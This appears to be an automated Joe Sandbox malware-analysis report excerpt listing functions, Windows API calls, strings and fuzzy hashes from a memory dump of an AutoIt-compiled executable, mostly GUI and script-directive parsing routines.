Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 0c137d02fa62a29d8f730b86eaa0aafa0a7f03796d7da4f227ce73329b3881d8
Instruction ID: 2454d5b8b5bd0c2f5bd685a81adfd722d1b6d61dfb11ee275db1319c06c1ea91
Opcode Fuzzy Hash: 0c137d02fa62a29d8f730b86eaa0aafa0a7f03796d7da4f227ce73329b3881d8
Instruction Fuzzy Hash: D112BE306A4241EFCB2ADF24C888BA9B7E5FF08311F545569E489CB262C731ED95CF91

Function 002F27FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 00300FE6: std::exception::exception.LIBCMT ref: 0030101C
Part of subcall function 00300FE6: __CxxThrowException@8.LIBCMT ref: 00301031

__wcsnicmp.LIBCMT ref: 002F286A
__wcsnicmp.LIBCMT ref: 002F287E
__wcsnicmp.LIBCMT ref: 002F2896
__wcsnicmp.LIBCMT ref: 002F28AE
__wcsnicmp.LIBCMT ref: 002F28C6
__wcsnicmp.LIBCMT ref: 002F28DE
__wcsnicmp.LIBCMT ref: 002F28F6
__wcsnicmp.LIBCMT ref: 002F290A
__wcsnicmp.LIBCMT ref: 002F2948
__wcsnicmp.LIBCMT ref: 002F295C
__wcsnicmp.LIBCMT ref: 002F2970
__wcsnicmp.LIBCMT ref: 002F2984

Strings

#comments-start, xrefs: 002F28F0, 002F2942
#OnAutoItStartRegister, xrefs: 002F28A8
#ce, xrefs: 002F297E
#include, xrefs: 002F28D8
Unterminated group of comments, xrefs: 0032FCFA
#comments-end, xrefs: 002F296A
#include-once, xrefs: 002F28C0
", xrefs: 0032FB89
Cannot parse #include, xrefs: 0032FCE5
#notrayicon, xrefs: 002F2878
#pragma compile, xrefs: 002F2864
', xrefs: 0032FB9F
#requireadmin, xrefs: 002F2890
Bad directive syntax error, xrefs: 0032FBD3, 0032FBF0
#cs, xrefs: 002F2904, 002F2956

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: ed16f7ca1dc65d7fe9236c3c65936568b3626363fc8170e2ac4718ab5bebd84f
Instruction ID: 2433bad55733f4db739b5d3810a5d5a973019eac91913cbbb740b55ddfbf69f6
Opcode Fuzzy Hash: ed16f7ca1dc65d7fe9236c3c65936568b3626363fc8170e2ac4718ab5bebd84f
Instruction Fuzzy Hash: F9A19430A1021AEFDB26AF50DD52EBEB778AF45780F104039F9056B292DBB19E25DB50

Function 00357B95 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00357BC8
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00357C87
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00357CC5
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00357CD7
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00357D1D
GetClientRect.USER32(00000000,?), ref: 00357D29
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00357D6D
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00357D7C
GetStockObject.GDI32(00000011), ref: 00357D8C
SelectObject.GDI32(00000000,00000000), ref: 00357D90
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00357DA0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00357DA9
DeleteDC.GDI32(00000000), ref: 00357DB2
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00357DDE
SendMessageW.USER32(00000030,00000000,00000001), ref: 00357DF5
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00357E30
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00357E44
SendMessageW.USER32(00000404,00000001,00000000), ref: 00357E55
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00357E85
GetStockObject.GDI32(00000011), ref: 00357E90
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00357E9B
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00357EA5

Strings

static, xrefs: 00357D67, 00357E7F
msctls_progress32, xrefs: 00357E26
AutoIt v3, xrefs: 00357D15
DISPLAY, xrefs: 00357D72

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 7f9a2190b5062f424235b18d9a67072574ce5ff0a967bde0825a168460eece8d
Instruction ID: eb33032fd434bc46effe1f1e1178c10fd65b8693254ced80e59f5ed5dcc356c7
Opcode Fuzzy Hash: 7f9a2190b5062f424235b18d9a67072574ce5ff0a967bde0825a168460eece8d
Instruction Fuzzy Hash: B0A160B1A50219BFEB25DBA4DC4AFAE7BADEB45710F044114FA15A72E0C770AD50CB60

Function 0034B353 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0034B361
GetDriveTypeW.KERNEL32(?,00372C4C,?,\\.\,00370980), ref: 0034B43E
SetErrorMode.KERNEL32(00000000,00372C4C,?,\\.\,00370980), ref: 0034B59C

Strings

\\.\, xrefs: 0034B3B3
RAID, xrefs: 0034B53A
RAMDisk, xrefs: 0034B468
Fixed, xrefs: 0034B486
iSCSI, xrefs: 0034B541
PhysicalDrive, xrefs: 0034B3EA
MMC, xrefs: 0034B55D
SSA, xrefs: 0034B525
Unknown, xrefs: 0034B45E, 0034B502
USB, xrefs: 0034B533
ATAPI, xrefs: 0034B510
CDROM, xrefs: 0034B472
ATA, xrefs: 0034B517
1394, xrefs: 0034B51E
Removable, xrefs: 0034B490
FileBackedVirtual, xrefs: 0034B56B
Virtual, xrefs: 0034B564
SATA, xrefs: 0034B54F
Network, xrefs: 0034B47C
Fibre, xrefs: 0034B52C
SSD, xrefs: 0034B4C9
SAS, xrefs: 0034B548
SCSI, xrefs: 0034B509

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 83c2dc697cb810ad0c9e586b3ed1948147ca94b68a47fef5c8c4df42987ab1df
Instruction ID: 35cbe88958532b30a7c4c4d143210aeb36f5bf56c44831ddc6ae40fb948d4efc
Opcode Fuzzy Hash: 83c2dc697cb810ad0c9e586b3ed1948147ca94b68a47fef5c8c4df42987ab1df
Instruction Fuzzy Hash: 1751B030B40209EBCB02EBB1DA82ABDF7E4AF46740F644166E406AF691D771FE51CB51

Function 0036A041 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 0036A0F7
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0036A1B0
SendMessageW.USER32(?,00001102,00000002,?), ref: 0036A1CC

Strings

0, xrefs: 0036A209

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 1271fc0510013315601ee814e8c3d7570d1ae046650ea11293baad50ea6abbd8
Instruction ID: 3466d3609c01d9eaf67e981e4bae4c9994037210df0bda0bbb1c512210f277dc
Opcode Fuzzy Hash: 1271fc0510013315601ee814e8c3d7570d1ae046650ea11293baad50ea6abbd8
Instruction Fuzzy Hash: 3E02DD30108A00AFD727CF14C898BAABBE8FF86714F04C51DF99AA62A5C775D854CF52

Function 0036AF18 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0036AF51
SetTextColor.GDI32(?,?), ref: 0036AF55
GetSysColorBrush.USER32(0000000F), ref: 0036AF6B
GetSysColor.USER32(0000000F), ref: 0036AF76
CreateSolidBrush.GDI32(?), ref: 0036AF7B
GetSysColor.USER32(00000011), ref: 0036AF93
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0036AFA1
SelectObject.GDI32(?,00000000), ref: 0036AFB2
SetBkColor.GDI32(?,00000000), ref: 0036AFBB
SelectObject.GDI32(?,?), ref: 0036AFC8
InflateRect.USER32(?,000000FF,000000FF), ref: 0036AFE7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0036AFFE
GetWindowLongW.USER32(00000000,000000F0), ref: 0036B013
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0036B05F
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0036B086
InflateRect.USER32(?,000000FD,000000FD), ref: 0036B0A4
DrawFocusRect.USER32(?,?), ref: 0036B0AF
GetSysColor.USER32(00000011), ref: 0036B0BD
SetTextColor.GDI32(?,00000000), ref: 0036B0C5
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0036B0D9
SelectObject.GDI32(?,0036AC1F), ref: 0036B0F0
DeleteObject.GDI32(?), ref: 0036B0FB
SelectObject.GDI32(?,?), ref: 0036B101
DeleteObject.GDI32(?), ref: 0036B106
SetTextColor.GDI32(?,?), ref: 0036B10C
SetBkColor.GDI32(?,?), ref: 0036B116

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 603e1e8e8bb474e7cc31c4c4f268ea90c1c5410fbc6f2ee465a4befb567fad02
Instruction ID: 0817d05319f9cb67e56ca6eea4e23588d23756e5101fb99da24172c96229408e
Opcode Fuzzy Hash: 603e1e8e8bb474e7cc31c4c4f268ea90c1c5410fbc6f2ee465a4befb567fad02
Instruction Fuzzy Hash: 0C614E71900218EFDF269FA4DC48AAEBB7DEF08320F118115F919AB2A1D7759980DF90

Function 00368FFA Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 003690EA
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 003690FB
CharNextW.USER32(0000014E), ref: 0036912A
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 0036916B
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00369181
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00369192
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 003691AF
SetWindowTextW.USER32(?,0000014E), ref: 003691FB
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00369211
SendMessageW.USER32(?,00001002,00000000,?), ref: 00369242
_memset.LIBCMT ref: 00369267
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 003692B0
_memset.LIBCMT ref: 0036930F
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00369339
SendMessageW.USER32(?,00001074,?,00000001), ref: 00369391
SendMessageW.USER32(?,0000133D,?,?), ref: 0036943E
InvalidateRect.USER32(?,00000000,00000001), ref: 00369460
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 003694AA
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 003694D7
DrawMenuBar.USER32(?), ref: 003694E6
SetWindowTextW.USER32(?,0000014E), ref: 0036950E

Strings

0, xrefs: 00369478

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: e4709be6d8a6114b0e0320530e574f634b1affb8fe9e10674e1a28783c34e0d0
Instruction ID: d1a6e6460231cf8ae22b03da4857472311cdbd8ae5a167e0210592662c92b121
Opcode Fuzzy Hash: e4709be6d8a6114b0e0320530e574f634b1affb8fe9e10674e1a28783c34e0d0
Instruction Fuzzy Hash: B1E17070900219AFDF229F55CC88FEE7BBCEF0A710F108156FA19AA195D7708A81DF61

Function 00364ECC Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00365007
GetDesktopWindow.USER32 ref: 0036501C
GetWindowRect.USER32(00000000), ref: 00365023
GetWindowLongW.USER32(?,000000F0), ref: 00365085
DestroyWindow.USER32(?), ref: 003650B1
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 003650DA
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 003650F8
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 0036511E
SendMessageW.USER32(?,00000421,?,?), ref: 00365133
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00365146
IsWindowVisible.USER32(?), ref: 00365166
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00365181
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00365195
GetWindowRect.USER32(?,?), ref: 003651AD
MonitorFromPoint.USER32(?,?,00000002), ref: 003651D3
GetMonitorInfoW.USER32(00000000,?), ref: 003651ED
CopyRect.USER32(?,?), ref: 00365204
SendMessageW.USER32(?,00000412,00000000), ref: 0036526F

Strings

tooltips_class32, xrefs: 003650D3
0, xrefs: 00364FB2
(, xrefs: 003651E0

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 84ae6cd940d24b431e23ec3bd1862ee492a324c8226ad7e2bb0a45fa474c22ae
Instruction ID: 842460835c8510d521a6816a502c7f4019e8a26a121a4de090f2b677771f8875
Opcode Fuzzy Hash: 84ae6cd940d24b431e23ec3bd1862ee492a324c8226ad7e2bb0a45fa474c22ae
Instruction Fuzzy Hash: 1BB1AA70614740AFDB15DF65C888B6ABBE4FF88314F008A2CF5999B291DB70E845CF92

Function 0034498A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0034499C
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 003449C2
_wcscpy.LIBCMT ref: 003449F0
_wcscmp.LIBCMT ref: 003449FB
_wcscat.LIBCMT ref: 00344A11
_wcsstr.LIBCMT ref: 00344A1C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00344A38
_wcscat.LIBCMT ref: 00344A81
_wcscat.LIBCMT ref: 00344A88
_wcsncpy.LIBCMT ref: 00344AB3

Strings

DefaultLangCodepage, xrefs: 00344A9B
%u.%u.%u.%u, xrefs: 00344B16
04090000, xrefs: 00344A6E
\VarFileInfo\Translation, xrefs: 00344A30
StringFileInfo\, xrefs: 00344A0B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: f7e8f5d3ddd1764f14b5660d7ecb137bed5cf8665a80e6ddfd1d6d425715b0dd
Instruction ID: d565b4db62b10ff0ba3b8c96f0fe90a3ef044e9bfb14b03b53d1bc9ea6462066
Opcode Fuzzy Hash: f7e8f5d3ddd1764f14b5660d7ecb137bed5cf8665a80e6ddfd1d6d425715b0dd
Instruction Fuzzy Hash: 0B413672601205BAEB27B7209D57FBFBBACDF41750F000469F905AE1D2EB34EA0197A5

Function 002E2BA9 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 002E2C8C
GetSystemMetrics.USER32(00000007), ref: 002E2C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 002E2CBF
GetSystemMetrics.USER32(00000008), ref: 002E2CC7
GetSystemMetrics.USER32(00000004), ref: 002E2CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 002E2D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 002E2D19
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 002E2D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 002E2D60
GetClientRect.USER32(00000000,000000FF), ref: 002E2D7E
GetStockObject.GDI32(00000011), ref: 002E2D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 002E2DA5

Part of subcall function 002E2714: GetCursorPos.USER32(?), ref: 002E2727
Part of subcall function 002E2714: ScreenToClient.USER32(003A77B0,?), ref: 002E2744
Part of subcall function 002E2714: GetAsyncKeyState.USER32(00000001), ref: 002E2769
Part of subcall function 002E2714: GetAsyncKeyState.USER32(00000002), ref: 002E2777

SetTimer.USER32(00000000,00000000,00000028,002E13C7), ref: 002E2DCC

Strings

h7, xrefs: 002E2BEC, 0031C433
AutoIt v3 GUI, xrefs: 002E2D44

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI$h7
API String ID: 1458621304-3874170024
Opcode ID: 5fc9d453d0434e4beebc7c78ec08c4935dc64f7c3ac72991996b3bee44289cc1
Instruction ID: 0777d7ed3d3958a712cd883f49ca708df0a15fcc62159eb46f6e35d6b5c65286
Opcode Fuzzy Hash: 5fc9d453d0434e4beebc7c78ec08c4935dc64f7c3ac72991996b3bee44289cc1
Instruction Fuzzy Hash: 55B17E7165424ADFDB1ADFA9CC85BED77B8FB08310F114129FA16A7290DB74A850CF50

Function 0036441F Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 003644AC
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 0036456C

Strings

GETITEMCOUNT, xrefs: 003644DE
SELECTINVERT, xrefs: 0036463C
GETTEXT, xrefs: 00364515
VIEWCHANGE, xrefs: 0036472B
FINDITEM, xrefs: 003646DF
DESELECT, xrefs: 0036465A
GETSELECTED, xrefs: 0036469A
ISSELECTED, xrefs: 00364577
SELECTALL, xrefs: 003645D3
GETSUBITEMCOUNT, xrefs: 003644F7
SELECT, xrefs: 00364606
GETSELECTEDCOUNT, xrefs: 0036454F
SELECTCLEAR, xrefs: 003645EB

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 2e56c3696b47447a852cdfee0de4883ef09eb6910cf2e3607e31a9eb38b7fad2
Instruction ID: 119707b3be96682a8846e22299e5330f33c2527cec245e521f346a92cae22ee7
Opcode Fuzzy Hash: 2e56c3696b47447a852cdfee0de4883ef09eb6910cf2e3607e31a9eb38b7fad2
Instruction Fuzzy Hash: 2CA1C2346243519FCB1AEF24C851A7AB3A9FF85314F508928F8A69B7D6DB30EC05CB51

Function 003556C8 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 003556E1
LoadCursorW.USER32(00000000,00007F8A), ref: 003556EC
LoadCursorW.USER32(00000000,00007F00), ref: 003556F7
LoadCursorW.USER32(00000000,00007F03), ref: 00355702
LoadCursorW.USER32(00000000,00007F8B), ref: 0035570D
LoadCursorW.USER32(00000000,00007F01), ref: 00355718
LoadCursorW.USER32(00000000,00007F81), ref: 00355723
LoadCursorW.USER32(00000000,00007F88), ref: 0035572E
LoadCursorW.USER32(00000000,00007F80), ref: 00355739
LoadCursorW.USER32(00000000,00007F86), ref: 00355744
LoadCursorW.USER32(00000000,00007F83), ref: 0035574F
LoadCursorW.USER32(00000000,00007F85), ref: 0035575A
LoadCursorW.USER32(00000000,00007F82), ref: 00355765
LoadCursorW.USER32(00000000,00007F84), ref: 00355770
LoadCursorW.USER32(00000000,00007F04), ref: 0035577B
LoadCursorW.USER32(00000000,00007F02), ref: 00355786
GetCursorInfo.USER32(?), ref: 00355796
GetLastError.KERNEL32(00000001,00000000), ref: 003557C1

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 46fefecb5d9fe8ebc9c49a121e1948d01b84cc95b611e2c71a68261ee8a3306d
